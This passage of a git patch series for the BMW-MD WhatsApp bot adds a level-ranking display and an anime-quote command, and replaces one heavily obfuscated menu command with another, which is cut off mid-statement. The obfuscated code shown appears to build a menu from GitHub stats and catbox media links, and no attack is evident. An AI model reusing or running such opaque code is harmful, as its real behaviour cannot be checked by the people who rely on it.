+ } else if ( data.level >= 20 && data.level < 25 ) {
+ role = 'Ninja-jonin'
+ } else if ( data.level >= 25 && data.level < 30 ) {
+ role = 'ANBU'
+ } else if ( data.level >= 30 && data.level < 35 ) {
+ role = 'strong ninja'
+ } else if ( data.level >= 35 && data.level < 40 ) {
+ role = 'kage'
+ } else if ( data.level >= 40 && data.level < 45 ) {
+ role = 'Hermit seinin'
+ } else if ( data.level >= 45 && data.level < 50 ) {
+ role = 'Otsusuki'
+ } else {
+ role = 'level-GOD'
+ }
+ msg += `-----------------------
+
+ *Name :* @${rank.jid.split("@")[0]}
+*Level :* ${data.level}
+*Role :* ${role}\n` ;
+
+ mention.push(rank.jid) ;
+ }
+
+ zk.sendMessage(dest,
+ {
+ image : { url : mybotpic() },
+ caption : msg,
+ mentions : mention
+ },
+ {quoted : ms})
+
+
+ })
+
+
+
+
diff --git a/scs/bmwz.js b/scs/bmwz.js
new file mode 100644
index 0000000..c55af3d
--- /dev/null
+++ b/scs/bmwz.js
@@ -0,0 +1,50 @@
+
+const { adams } = require('../Ibrahim/adams');
+
+adams({ nomCom: 'quote', categorie: 'Fun' }, async (dest, zk, commandeOptions) => {
+ const { ms, repondre, verifGroupe, arg } = commandeOptions;
+ if (!verifGroupe) {
+ repondre('Commande réservée au groupe uniquement');
+ return;
+ }
+
+ if (!arg[0]) {
+ try {
+ fetch('https://animechan.xyz/api/random')
+ .then((response) => response.json())
+ .then(async (quote) => {
+ repondre(`╔══════════════════════════╗
+║ Bmw-md ║
+╚══════════════════════════╝
+
+🎬 Anime: ${quote.anime}
+👤 Character: ${quote.character}
+💬 Quote: ${quote.quote}
+
+Powered by BMW-MD`);
+ });
+ } catch (e) {
+ repondre('Erreur lors de la génération de la citation : ' + e.message);
+ }
+ } else {
+ const query = arg.join(' ');
+
+ try {
+ fetch('https://animechan.xyz/api/random/character?name=' + query)
+ .then((response) => response.json())
+ .then(async (quote) => {
+ repondre(`╔══════════════════════════╗
+║ Bmw-md ║
+╚══════════════════════════╝
+
+🎬 Anime: ${quote.anime}
+👤 Character: ${quote.character}
+💬 Quote: ${quote.quote}
+
+Powered by Bmw-MD`);
+ });
+ } catch (e) {
+ repondre('Erreur lors de la génération de la citation : ' + e.message);
+ }
+ }
+});
From 4cccb6288951b9d52eec2fc9ff056fd755426453 Mon Sep 17 00:00:00 2001
From: Ibraah Tech
Date: Sun, 27 Oct 2024 09:52:43 +0300
Subject: [PATCH 137/208] =?UTF-8?q?=E2=AD=95=20ADAMS=20VERSION=20=E2=AD=95?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
scs/bmwa.js | 1 +
scs/bmwae.js | 1 +
scs/bmwba.js | 1 +
scs/bmwbe.js | 1 +
scs/bmwbi.js | 1 +
scs/bmwbo.js | 2 +-
scs/bmwboo.js | 1 +
scs/bmwbu.js | 1 +
scs/bmwbut.js | 1 +
scs/bmwbutton.js | 1 +
scs/bmwc.js | 1 +
scs/bmwca.js | 1 +
12 files changed, 12 insertions(+), 1 deletion(-)
diff --git a/scs/bmwa.js b/scs/bmwa.js
index 31308af..5a4d63b 100644
--- a/scs/bmwa.js
+++ b/scs/bmwa.js
@@ -15262,6 +15262,7 @@ YMMMUP^
+
**/
diff --git a/scs/bmwae.js b/scs/bmwae.js
index 8b7c9d2..005a379 100644
--- a/scs/bmwae.js
+++ b/scs/bmwae.js
@@ -15265,6 +15265,7 @@ YMMMUP^
+
const {
diff --git a/scs/bmwba.js b/scs/bmwba.js
index 5775ec8..122e1f2 100644
--- a/scs/bmwba.js
+++ b/scs/bmwba.js
@@ -15265,6 +15265,7 @@ YMMMUP^
+
const {adams}=require("../Ibrahim/adams")
diff --git a/scs/bmwbe.js b/scs/bmwbe.js
index 7cd1626..a3d389d 100644
--- a/scs/bmwbe.js
+++ b/scs/bmwbe.js
@@ -15265,6 +15265,7 @@ YMMMUP^
+
const {adams} = require("../Ibrahim/adams");
diff --git a/scs/bmwbi.js b/scs/bmwbi.js
index 0dfe8ff..805e680 100644
--- a/scs/bmwbi.js
+++ b/scs/bmwbi.js
@@ -12,3 +12,4 @@ adams({ nomCom: "test", reaction: "🧒", nomFichier: __filename }, async (dest,
});
console.log("mon test");
+
diff --git a/scs/bmwbo.js b/scs/bmwbo.js
index 67ffcee..d4c6aca 100644
--- a/scs/bmwbo.js
+++ b/scs/bmwbo.js
@@ -1 +1 @@
-const _0x32cd69=_0x3c0f;(function(_0x4f6293,_0x3e118b){const _0x22538f=_0x3c0f,_0x354fee=_0x4f6293();while(!![]){try{const _0xa0bd00=parseInt(_0x22538f(0xfe))/(-0x16b*-0x11+0xc28+-0x2442)*(-parseInt(_0x22538f(0xed))/(0x766*-0x2+0x1cf5+-0xe27))+parseInt(_0x22538f(0xdd))/(-0x341+0xcc*-0x17+0xacc*0x2)*(parseInt(_0x22538f(0xfc))/(0x506*0x4+0x13*0xb+-0x14e5))+parseInt(_0x22538f(0x131))/(-0x22d2+0x21ff+-0x8*-0x1b)+parseInt(_0x22538f(0xad))/(-0xe3b*-0x2+-0xe11+-0xe5f)*(parseInt(_0x22538f(0x93))/(-0x18fc+-0x3e4+0x1ce7))+parseInt(_0x22538f(0xc0))/(0x57*-0x15+0x82e*-0x1+-0x1*-0xf59)*(-parseInt(_0x22538f(0xb3))/(0x6b*0x5+-0x4be*0x3+0xc2c))+parseInt(_0x22538f(0xff))/(0xc*0xe4+-0x349*-0x7+-0x21a5)+-parseInt(_0x22538f(0x105))/(-0x2*0xc51+0x2*0xfcb+-0x6e9)*(parseInt(_0x22538f(0x13e))/(0x1f76+-0x63f+-0x192b*0x1));if(_0xa0bd00===_0x3e118b)break;else _0x354fee['push'](_0x354fee['shift']());}catch(_0x4708bf){_0x354fee['push'](_0x354fee['shift']());}}}(_0x44b1,-0x8a6ad+-0xbbf*-0x7c+-0xb3c*-0xa8));function _0x3c0f(_0x3e2ba3,_0x248806){const _0x210b6d=_0x44b1();return _0x3c0f=function(_0x29a436,_0x2fc1bf){_0x29a436=_0x29a436-(-0xf1c*-0x1+0x3ac+0xa1*-0x1d);let _0x1e9fbe=_0x210b6d[_0x29a436];return _0x1e9fbe;},_0x3c0f(_0x3e2ba3,_0x248806);}const util=require(_0x32cd69(0xd2)),fs=require(_0x32cd69(0x12e)),axios=require(_0x32cd69(0x146)),{adams}=require(__dirname+(_0x32cd69(0x106)+_0x32cd69(0xce))),{format}=require(__dirname+(_0x32cd69(0x106)+_0x32cd69(0x8f)+_0x32cd69(0xa3))),os=require('os'),moment=require(_0x32cd69(0xf4)+_0x32cd69(0x13b)),s=require(__dirname+_0x32cd69(0xe7)),more=String[_0x32cd69(0xd0)+'de'](-0x3*0xec3+-0x1*-0x25+0x4c32),readmore=more[_0x32cd69(0xfd)](-0x12f*0x8+0x17d4+0x145),runtime=function(_0x5e56ad){const _0xed1f1=_0x32cd69,_0x1cef08={'ncvnc':_0xed1f1(0xbf)+_0xed1f1(0x9d),'Fwyta':function(_0x37b29f,_0x39656f){return _0x37b29f>_0x39656f;},'dWoyg':function(_0xda7dc0,_0x4a90db){return _0xda7dc0+_0x4a90db;},'Berhn':function(_0x24d147,_0x3ab4d6){return _0x24d147==_0x3ab4d6;},'lwHCC':_0xed1f1(0xa2),'IXcdK':_0xed1f1(0x113),'CemUe':function(_0x5087d8,_0x2bc57d){return _0x5087d8/_0x2bc57d;},'WoYYi':function(_0x4ad803,_0x5cb176){return _0x4ad803%_0x5cb176;},'SBDmu':function(_0x239b7b,_0x2d157b){return _0x239b7b>_0x2d157b;},'iKaHs':_0xed1f1(0x103),'LRBDv':_0xed1f1(0x94),'UQhOB':function(_0x450709,_0xd5090){return _0x450709(_0xd5090);},'kVgfz':function(_0x2d007e,_0x45bdb8){return _0x2d007e+_0x45bdb8;},'osfTG':_0xed1f1(0x139),'WnsGL':function(_0x2226dc,_0x1cd451){return _0x2226dc*_0x1cd451;},'FCvxM':function(_0x5ecd46,_0x641442){return _0x5ecd46+_0x641442;},'EsgBS':function(_0x450dd8,_0x65591d){return _0x450dd8/_0x65591d;},'xDwbe':function(_0x1d9654,_0x54a684){return _0x1d9654>_0x54a684;},'ZZmLZ':function(_0x14608a,_0xd13748){return _0x14608a+_0xd13748;},'EcGEX':function(_0x5f169a,_0x38cb4d){return _0x5f169a==_0x38cb4d;},'AJJhW':_0xed1f1(0x117),'vatkg':_0xed1f1(0x8d)},_0xcf335e=_0x1cef08[_0xed1f1(0xab)][_0xed1f1(0x9f)]('|');let _0x45c174=-0xb*-0x1cc+0x1c37*-0x1+0x873;while(!![]){switch(_0xcf335e[_0x45c174++]){case'0':var _0x5e1261=_0x1cef08[_0xed1f1(0x127)](_0x1e8cb2,-0x1*-0xe83+-0x8b*-0x33+0x49*-0x94)?_0x1cef08[_0xed1f1(0x9e)](_0x1e8cb2,_0x1cef08[_0xed1f1(0xf8)](_0x1e8cb2,-0x21ad+-0x2615+0x47c3)?_0x1cef08[_0xed1f1(0x10d)]:_0x1cef08[_0xed1f1(0xec)]):'';continue;case'1':var _0x2a4003=Math[_0xed1f1(0x145)](_0x1cef08[_0xed1f1(0xa8)](_0x1cef08[_0xed1f1(0xd1)](_0x5e56ad,-0xac9*0x1+0x1bd8+0x3b*-0xd),-0x12ed+-0x1a58+-0x2d81*-0x1));continue;case'2':var _0x5b843f=_0x1cef08[_0xed1f1(0xda)](_0x2a4003,-0x20d5+0x1*0x871+0x1864)?_0x1cef08[_0xed1f1(0x9e)](_0x2a4003,_0x1cef08[_0xed1f1(0xf8)](_0x2a4003,0xe57+0x1*-0x24f5+0x169f)?_0x1cef08[_0xed1f1(0xc9)]:_0x1cef08[_0xed1f1(0x109)]):'';continue;case'3':_0x5e56ad=_0x1cef08[_0xed1f1(0x123)](Number,_0x5e56ad);continue;case'4':var _0x52c5e9=_0x1cef08[_0xed1f1(0x127)](_0x3d3e3e,-0x1876+0x18e8+-0x72)?_0x1cef08[_0xed1f1(0x11e)](_0x3d3e3e,_0x1cef08[_0xed1f1(0xf8)](_0x3d3e3e,-0x1*-0x1b11+0x1*-0x944+0x22*-0x86)?_0x1cef08[_0xed1f1(0xe9)]:'\x20s'):'';continue;case'5':var _0x3d3e3e=Math[_0xed1f1(0x145)](_0x1cef08[_0xed1f1(0xd1)](_0x5e56ad,-0x7c2+-0xc*0x1c3+0x71*0x42));continue;case'6':var _0x5b13b7=Math[_0xed1f1(0x145)](_0x1cef08[_0xed1f1(0xa8)](_0x5e56ad,_0x1cef08[_0xed1f1(0x108)](0x1ae0+-0x4ca+0x9e*-0xd,0x216d+-0x2bd*-0xa+-0x3cb7)));continue;case'7':return _0x1cef08[_0xed1f1(0x11e)](_0x1cef08[_0xed1f1(0x11e)](_0x1cef08[_0xed1f1(0x130)](_0xb9a540,_0x5e1261),_0x5b843f),_0x52c5e9);case'8':var _0x1e8cb2=Math[_0xed1f1(0x145)](_0x1cef08[_0xed1f1(0xd3)](_0x1cef08[_0xed1f1(0xd1)](_0x5e56ad,_0x1cef08[_0xed1f1(0x108)](0x1*-0x8bc+-0x11d7*0x1+0x28a3,0x67*-0x49+0x803+-0x1574*-0x1)),-0x263b+0x30f*-0x2+0x3a69));continue;case'9':var _0xb9a540=_0x1cef08[_0xed1f1(0xeb)](_0x5b13b7,0xa59+-0x1205*-0x1+-0x1c5e)?_0x1cef08[_0xed1f1(0xea)](_0x5b13b7,_0x1cef08[_0xed1f1(0x112)](_0x5b13b7,0x1f0*0xf+-0xe3a+-0xed5)?_0x1cef08[_0xed1f1(0xdf)]:_0x1cef08[_0xed1f1(0x14b)]):'';continue;}break;}},fetchGitHubStats=async()=>{const _0x4f662b=_0x32cd69,_0x2a726c={'IooAv':_0x4f662b(0x10f)+_0x4f662b(0xe1),'fRyUG':function(_0x459bac,_0x5ea26f){return _0x459bac+_0x5ea26f;},'kUBbn':function(_0x5cc9c7,_0x1da8c7){return _0x5cc9c7*_0x1da8c7;},'oezod':function(_0x4336ce,_0x40190d){return _0x4336ce*_0x40190d;},'yXgQM':_0x4f662b(0xcd)+_0x4f662b(0x10a)+_0x4f662b(0xbc)};try{const _0xf21328=_0x2a726c[_0x4f662b(0xef)],_0x96fef7=await axios[_0x4f662b(0x129)](_0x4f662b(0x14e)+_0x4f662b(0x100)+_0x4f662b(0x122)+_0xf21328),_0x5e1ee2=_0x96fef7[_0x4f662b(0xa9)][_0x4f662b(0x9c)+'t'],_0x508c96=_0x96fef7[_0x4f662b(0xa9)][_0x4f662b(0xcb)+_0x4f662b(0x132)],_0x2d5803=_0x2a726c[_0x4f662b(0x101)](_0x2a726c[_0x4f662b(0x8e)](_0x5e1ee2,0x2018+0x136*0xc+0x1*-0x2e9e),_0x2a726c[_0x4f662b(0x12a)](_0x508c96,0x11*-0x30+0x56c+-0x23a));return{'forks':_0x5e1ee2,'stars':_0x508c96,'totalUsers':_0x2d5803};}catch(_0x4a7f00){return console[_0x4f662b(0xb6)](_0x2a726c[_0x4f662b(0x140)],_0x4a7f00),{'forks':0x0,'stars':0x0,'totalUsers':0x0};}};adams({'nomCom':'mo','categorie':_0x32cd69(0xf7)},async(_0x372ed0,_0x3e09f1,_0x4bf851)=>{const _0xc38362=_0x32cd69,_0x22c22f={'FOkKZ':function(_0x8a9b8a,_0x560a57){return _0x8a9b8a(_0x560a57);},'LgtpW':function(_0x4b9c3a,_0x427f5d){return _0x4b9c3a+_0x427f5d;},'gNMgV':_0xc38362(0x106)+_0xc38362(0xce),'ohpSl':function(_0x50e983,_0x458e4f){return _0x50e983===_0x458e4f;},'ZPIma':_0xc38362(0x10e),'SWwjj':_0xc38362(0x13d),'NrqSY':function(_0x441b27){return _0x441b27();},'YlBvr':_0xc38362(0x111),'YBGpa':_0xc38362(0xf0),'nhXTt':_0xc38362(0xb1),'JSQni':function(_0x106656,_0x1c6968){return _0x106656>=_0x1c6968;},'AdXqK':function(_0x237c10,_0x33fa4b){return _0x237c10<=_0x33fa4b;},'xiDnk':_0xc38362(0xb0)+'ng','VSfBQ':_0xc38362(0xcc)+_0xc38362(0xb7),'ZGRRr':function(_0x437074,_0x1c1d7b){return _0x437074>=_0x1c1d7b;},'gGeca':function(_0x2b8a09,_0xfc2897){return _0x2b8a09<=_0xfc2897;},'iFray':_0xc38362(0x90)+'ng','rZiON':function(_0x567744){return _0x567744();},'DZSAm':function(_0xf432ed,_0x1e27fd){return _0xf432ed(_0x1e27fd);},'BIbfZ':function(_0xe4c432,_0x5d0421){return _0xe4c432-_0x5d0421;},'DHqes':function(_0x3ae5e7,_0x93252){return _0x3ae5e7+_0x93252;},'xKlIj':_0xc38362(0x147)+_0xc38362(0xe6),'MboHD':_0xc38362(0xf3)+_0xc38362(0x98)+_0xc38362(0x104)+_0xc38362(0x133),'uoXFG':_0xc38362(0x110)+_0xc38362(0x11f)+_0xc38362(0x92)+_0xc38362(0xe2)+_0xc38362(0x148)+_0xc38362(0xd9),'CKakn':_0xc38362(0xf3)+_0xc38362(0x98)+_0xc38362(0x125)+_0xc38362(0x10c),'XLkGX':_0xc38362(0xe5),'xGtGh':_0xc38362(0x12f)+'G','IJjlZ':_0xc38362(0x97)+_0xc38362(0x128)+_0xc38362(0x102),'vDKTI':_0xc38362(0xf3)+_0xc38362(0x98)+_0xc38362(0xb4)+_0xc38362(0x121),'ElAij':function(_0xbf4379,_0x5aa1e3){return _0xbf4379+_0x5aa1e3;},'eBWVg':_0xc38362(0xa5)+_0xc38362(0x135),'AKmBy':function(_0x35470c,_0x629bb8){return _0x35470c+_0x629bb8;}};let {ms:_0x2fde06,repondre:_0xf6f7c0,prefixe:_0x465221,nomAuteurMessage:_0x3fbcfc}=_0x4bf851,{cm:_0x201740}=_0x22c22f[_0xc38362(0xa1)](require,_0x22c22f[_0xc38362(0xa7)](__dirname,_0x22c22f[_0xc38362(0xaa)]));var _0x173989={},_0x315842=_0x22c22f[_0xc38362(0xbb)](s[_0xc38362(0x12b)][_0xc38362(0xac)+'e'](),_0x22c22f[_0xc38362(0xf5)])?_0x22c22f[_0xc38362(0xf5)]:_0x22c22f[_0xc38362(0xa4)];_0x201740[_0xc38362(0xcf)](_0x3db306=>{const _0x4b104e=_0xc38362,_0x3b22f0=_0x3db306[_0x4b104e(0x11b)][_0x4b104e(0xc4)+'e']();if(!_0x173989[_0x3b22f0])_0x173989[_0x3b22f0]=[];_0x173989[_0x3b22f0][_0x4b104e(0x9a)](_0x3db306[_0x4b104e(0xfb)]);}),moment['tz'][_0xc38362(0xd8)](''+s['TZ']);const _0x4d9820=_0x22c22f[_0xc38362(0x134)](moment)[_0xc38362(0xc1)](_0x22c22f[_0xc38362(0x99)]),_0x515bf7=_0x22c22f[_0xc38362(0x134)](moment)[_0xc38362(0xc1)](_0x22c22f[_0xc38362(0xd5)]),_0x2be885=_0x22c22f[_0xc38362(0x134)](moment)[_0xc38362(0xbd)]();let _0x5048c6=_0x22c22f[_0xc38362(0x11a)];if(_0x22c22f[_0xc38362(0xe3)](_0x2be885,-0x1*0x1f8e+0x1609*-0x1+0x3*0x11dd)&&_0x22c22f[_0xc38362(0xd7)](_0x2be885,-0x1*0x1471+0xe92+-0x2f5*-0x2))_0x5048c6=_0x22c22f[_0xc38362(0xd6)];else{if(_0x22c22f[_0xc38362(0xe3)](_0x2be885,-0x1f89+0x1076*0x1+-0x7*-0x229)&&_0x22c22f[_0xc38362(0xd7)](_0x2be885,-0x459+0x29*-0x9e+0x1*0x1db7))_0x5048c6=_0x22c22f[_0xc38362(0x11d)];else{if(_0x22c22f[_0xc38362(0xb9)](_0x2be885,0x772+-0x721+0x41*-0x1)&&_0x22c22f[_0xc38362(0xc6)](_0x2be885,-0x1855+-0xc6d*-0x2+0x2*-0x38))_0x5048c6=_0x22c22f[_0xc38362(0x107)];}}const {totalUsers:_0xd095f}=await _0x22c22f[_0xc38362(0xaf)](fetchGitHubStats),_0x249261=_0xd095f[_0xc38362(0xdc)+_0xc38362(0x13f)]();let _0x44bb17=_0xc38362(0xc3)+_0xc38362(0xe0)+_0xc38362(0x9b)+_0xc38362(0x142)+_0xc38362(0xde)+_0x315842+(_0xc38362(0x138)+_0xc38362(0xf6))+_0x465221+(_0xc38362(0x8c)+_0xc38362(0x136))+os[_0xc38362(0x8b)]()+(_0xc38362(0xe8)+_0xc38362(0xf2)+_0xc38362(0xee))+_0x515bf7+(_0xc38362(0x14f)+'*')+_0x4d9820+(_0xc38362(0x143)+_0xc38362(0xc5))+_0x22c22f[_0xc38362(0xc2)](format,_0x22c22f[_0xc38362(0xd4)](os[_0xc38362(0x13a)](),os[_0xc38362(0xb8)]()))+'/'+_0x22c22f[_0xc38362(0xa1)](format,os[_0xc38362(0x13a)]())+(_0xc38362(0x124)+_0xc38362(0x115)+_0xc38362(0x91)+_0xc38362(0xf9)+_0xc38362(0xe4)),_0x44531d=readmore+(_0xc38362(0xf1)+_0xc38362(0x119)+_0xc38362(0xc8)+_0xc38362(0x12d)+_0xc38362(0x14d)+_0xc38362(0x119)+'\x0a');const _0x3699cb=Object[_0xc38362(0xfa)](_0x173989)[_0xc38362(0xc7)]();_0x3699cb[_0xc38362(0xdb)](_0x59e359=>{const _0x2a68bd=_0xc38362;_0x44531d+=_0x2a68bd(0x137)+_0x59e359+_0x2a68bd(0xbe),_0x173989[_0x59e359][_0x2a68bd(0xdb)](_0x10ea62=>{const _0x4784fa=_0x2a68bd;_0x44531d+=_0x4784fa(0xa6)+_0x10ea62;}),_0x44531d+=_0x2a68bd(0x11c)+_0x2a68bd(0xca);}),_0x44531d+=_0xc38362(0x10b)+_0xc38362(0x12c)+_0xc38362(0xae)+_0xc38362(0xa0)+_0xc38362(0x13c)+_0xc38362(0x126);try{await _0x3e09f1[_0xc38362(0xb5)+'e'](_0x372ed0,{'text':_0x22c22f[_0xc38362(0x95)](_0x44bb17,_0x44531d),'contextInfo':{'mentionedJid':[_0x3fbcfc],'externalAdReply':{'body':_0x22c22f[_0xc38362(0xba)],'thumbnailUrl':_0x22c22f[_0xc38362(0x116)],'sourceUrl':_0x22c22f[_0xc38362(0x120)],'mediaType':0x1,'rendersmallThumbnail':!![]}}}),await _0x3e09f1[_0xc38362(0xb5)+'e'](_0x372ed0,{'audio':{'url':_0x22c22f[_0xc38362(0x14a)]},'mimetype':_0x22c22f[_0xc38362(0x149)],'ptt':![],'caption':_0x22c22f[_0xc38362(0x14c)],'contextInfo':{'externalAdReply':{'body':_0x22c22f[_0xc38362(0x96)],'thumbnailUrl':_0x22c22f[_0xc38362(0x141)],'sourceUrl':_0x22c22f[_0xc38362(0x120)],'rendersmallThumbnail':![]}}});}catch(_0x378a46){console[_0xc38362(0x114)](_0x22c22f[_0xc38362(0x144)](_0x22c22f[_0xc38362(0x118)],_0x378a46)),_0x22c22f[_0xc38362(0xa1)](_0xf6f7c0,_0x22c22f[_0xc38362(0xb2)](_0x22c22f[_0xc38362(0x118)],_0x378a46));}});function _0x44b1(){const _0x26bac0=['5.mp3','lwHCC','public','Devibraah/','https://wh','HH:mm:ss','EcGEX','\x20h,\x20','log','┈━═──━┈⊷\x0a\x0a','MboHD','\x20day,\x20','eBWVg','┈┈━═──━┈⊷\x0a','nhXTt','categorie','\x0a*╰─══════','VSfBQ','kVgfz','atsapp.com','uoXFG','q.jpeg','om/repos/','UQhOB','\x0a╰─────═━┈','.moe/oordg','▄▀▄▀▄','Fwyta','Y\x20IBRAHIM\x20','get','oezod','MODE','▀▄▀▄▀▄\x0a©𝑰𝒃','ᴏᴍᴍᴀɴᴅ\x20ʟɪs','fs-extra','BMW\x20MD\x20SON','FCvxM','2047425rnCpGb','_count','f.jpeg','NrqSY','reur\x20','ғᴏʀᴍ:\x20*','*╭────❒*\x20*','*\x0a┇\x20ᴘʀᴇғɪx','\x20second','totalmem','ezone','▄▀▄▀▄▀▄▀▄▀','private','48oiXAmo','ring','yXgQM','vDKTI','\x20*ʙᴍᴡ\x20ᴍᴅ*\x0a','*\x0a┇\x20ᴄᴀᴘᴀᴄɪ','ElAij','floor','axios','©Ibrahim\x20A','EawdxZK9Cz','XLkGX','CKakn','vatkg','xGtGh','ᴛ\x0a╰─────═━','https://ap','*\x0a┇\x20ᴛɪᴍᴇ:\x20','platform','\x20]*\x0a┇\x20ᴘʟᴀᴛ','\x20d,\x20','kUBbn','m/mesfonct','Good\x20eveni','\x0a🌍\x20𝐁𝐄𝐒𝐓\x20𝐖𝐇','/channel/0','23471ypBddf','\x20m,\x20','DHqes','IJjlZ','BMW\x20SONG\x20B','les.catbox','YlBvr','push','\x20ʙᴏᴛ\x20ɴᴀᴍᴇ:','forks_coun','9|0|2|4|7','dWoyg','split','𝒔\x20𝑷𝒓𝒐𝒋𝒆𝒄𝒕\x0a','FOkKZ','\x20hour,\x20','ions','SWwjj','🥵🥵\x20Menu\x20er','\x0a*╏*\x20','LgtpW','CemUe','data','gNMgV','ncvnc','toLowerCas','552kTtsfP','𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎','rZiON','Good\x20morni','Good\x20night','AKmBy','9NwnJZI','.moe/va22v','sendMessag','error','noon','freemem','ZGRRr','xKlIj','ohpSl','b\x20stats:','hour','*\x20*❒*','3|6|8|1|5|','1327728RFJbvV','format','DZSAm','\x0a╭─────═━┈','toUpperCas','ᴛʏ\x20','gGeca','sort','┇\x20ʙᴍᴡ\x20ᴍᴅ\x20ᴄ','iKaHs','═══════❒*\x0a','stargazers','Good\x20after','Error\x20fetc','m/adams','map','fromCharCo','WoYYi','util','EsgBS','BIbfZ','YBGpa','xiDnk','AdXqK','setDefault','M0Y','SBDmu','forEach','toLocaleSt','240xLcwpL','┇\x20ᴍᴏᴅᴇ:\x20*','AJJhW','┈━═──━┈⊷\x0a┇','BWM-XMD','029VaZuGSx','JSQni','\x20🌍\x0a\x0a','audio/mp4','dams','/../config','*\x0a┇\x20ᴛʏᴘᴇ:\x20','osfTG','ZZmLZ','xDwbe','IXcdK','2210OlzonS','ᴛᴇ:\x20*','IooAv','DD/MM/YYYY','\x20\x0a╭─────═━','*ᴠ6x*\x0a┇\x20ᴅᴀ','https://fi','moment-tim','ZPIma',':\x20*[\x20','General','Berhn','𝐀𝐓𝐒𝐀𝐏𝐏\x20𝐁𝐎𝐓','keys','nomCom','19556DiJZqo','repeat','474ZgSrCz','4370420IuwDJu','i.github.c','fRyUG','ADAMS','\x20minute,\x20','.moe/ytix9','1560097IAdPfB','/../Ibrahi','iFray','WnsGL','LRBDv','hing\x20GitHu','\x0a▄▀▄▀▄▀▄▀▄'];_0x44b1=function(){return _0x26bac0;};return _0x44b1();}
\ No newline at end of file
+function _0x4c7c(_0x17d2f9,_0x17dd93){const _0x23dc2f=_0x24be();return _0x4c7c=function(_0x13f34f,_0x54ddb4){_0x13f34f=_0x13f34f-(0x1910+-0x779*-0x1+-0x1f28);let _0x5ad829=_0x23dc2f[_0x13f34f];return _0x5ad829;},_0x4c7c(_0x17d2f9,_0x17dd93);}const _0x372c16=_0x4c7c;function _0x24be(){const _0x3a2f55=['repeat','┇\x20ᴍᴏᴅᴇ:\x20*','\x0a🌍\x20𝐁𝐄𝐒𝐓\x20𝐖𝐇','┇\x20ʙᴍᴡ\x20ᴍᴅ\x20ᴄ','totalmem','YWARL','format','Good\x20after','Ongfv','CTyJh','WMbiQ','cforU','zNFPC','FmFnU','┈┈━═──━┈⊷\x0a','menu','m/adams','m/mesfonct','\x20*ʙᴍᴡ\x20ᴍᴅ*\x0a','jrVmB','yPJmS','rhJgu','yfHvg','cCXDi','forEach','029VaZuGSx','rfaiN','GEGTn','oSxAM','noon','30pmMjyW','═══════❒*\x0a','\x0a*╏*\x20','toUpperCas','860hKFYAc','\x20ʙᴏᴛ\x20ɴᴀᴍᴇ:','jhcAn','audio/mp4','DD/MM/YYYY','WxHhm','©Ibrahim\x20A','▄▀▄▀▄','QFlEJ','toLowerCas','*\x0a┇\x20ᴄᴀᴘᴀᴄɪ','QDUZw','HH:mm:ss','mdntZ','PqUJo','𝐀𝐓𝐒𝐀𝐏𝐏\x20𝐁𝐎𝐓','┈━═──━┈⊷\x0a\x0a','moment-tim',':\x20*[\x20','▀▄▀▄▀▄\x0a©𝑰𝒃','XoIHF','CQWih','/../Ibrahi','Good\x20eveni','General','*\x0a┇\x20ᴛʏᴘᴇ:\x20','freemem','map','private','log','kqmaq','ions','zpdbN','▄▀▄▀▄▀▄▀▄▀','BPJBl','*ᴠ6x*\x0a┇\x20ᴅᴀ','.moe/oordg','cNhIZ','┈━═──━┈⊷\x0a┇','rOqJh','*\x0a┇\x20ᴛɪᴍᴇ:\x20','.moe/va22v','ADAMS','EhZZF','𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎','igwkG','FJPnW','public','dams','\x0a▄▀▄▀▄▀▄▀▄','qpGXl','ᴛᴇ:\x20*','aIGrI','https://fi','ᴏᴍᴍᴀɴᴅ\x20ʟɪs','ᴛ\x0a╰─────═━','ZTzVh','/../config','atsapp.com','Good\x20morni','MODE','les.catbox','IaJjO','setDefault','𝒔\x20𝑷𝒓𝒐𝒋𝒆𝒄𝒕\x0a','q.jpeg','/channel/0','PKgwM','platform','\x0a╰─────═━┈','categorie','Y\x20IBRAHIM\x20','\x0a*╰─══════','*╭────❒*\x20*','*\x20*❒*','*\x0a┇\x20ᴘʀᴇғɪx','\x20\x0a╭─────═━','EEMdQ','jDINF','KkAOK','197312GsLOUf','BMW\x20SONG\x20B','cXSVT','14mscgOO','BMW\x20MD\x20SON','FNusL','mRHRz','ezone','\x20]*\x0a┇\x20ᴘʟᴀᴛ','push','5oMYPsE','\x0a╭─────═━┈','.moe/ytix9','fromCharCo','nomCom','ғᴏʀᴍ:\x20*','jmfVo','\x20🌍\x0a\x0a','rmjtp','2994783VVihuz','aoBkJ','5.mp3','Good\x20night','keys','M0Y','hour','mamOP','ZQfTb','https://wh','EawdxZK9Cz','876480aOKfCy','6147HzQVgL','ulLix','IuZFi','ycoFG','85062WgbvwF','zXyoo','sendMessag','f.jpeg','ZsAra','nTFsy','SyJME','reur\x20','794200aneZOI','aRNnX','ᴛʏ\x20','yzQLL','TGtTl','CFktr','765546thzoSZ','HqpAJ','🥵🥵\x20Menu\x20er','sort','UqhaO'];_0x24be=function(){return _0x3a2f55;};return _0x24be();}(function(_0x3432c7,_0x48381c){const _0x2a4145=_0x4c7c,_0x214bee=_0x3432c7();while(!![]){try{const _0xb5233f=parseInt(_0x2a4145(0x191))/(0x1196*0x1+0xb43*0x2+-0x1*0x281b)*(-parseInt(_0x2a4145(0x1aa))/(0x9a7+0x1*0x2fc+0x35*-0x3d))+parseInt(_0x2a4145(0x1a5))/(-0x5e+0x1c50+-0x1*0x1bef)+-parseInt(_0x2a4145(0x187))/(-0x163d+0x1317+0x32a)*(parseInt(_0x2a4145(0x1db))/(-0x762+-0x2455+0x2bbc))+-parseInt(_0x2a4145(0x1b8))/(-0x14b1+-0x1b4c+0x3003*0x1)*(-parseInt(_0x2a4145(0x18a))/(0x1c15+-0xbc*0x20+-0x48e))+-parseInt(_0x2a4145(0x1b2))/(-0x1*-0x23ad+-0x925+-0x1a80)+parseInt(_0x2a4145(0x1a6))/(0x7*-0x487+0xd3*0x6+-0x359*-0x8)*(-parseInt(_0x2a4145(0x1df))/(-0x23a5+-0xe81+0x3230))+parseInt(_0x2a4145(0x19a))/(-0x124d+-0x1ad7+-0x10d*-0x2b);if(_0xb5233f===_0x48381c)break;else _0x214bee['push'](_0x214bee['shift']());}catch(_0x242ef8){_0x214bee['push'](_0x214bee['shift']());}}}(_0x24be,0x43701+0x30f*0x9+-0x1fd09));const 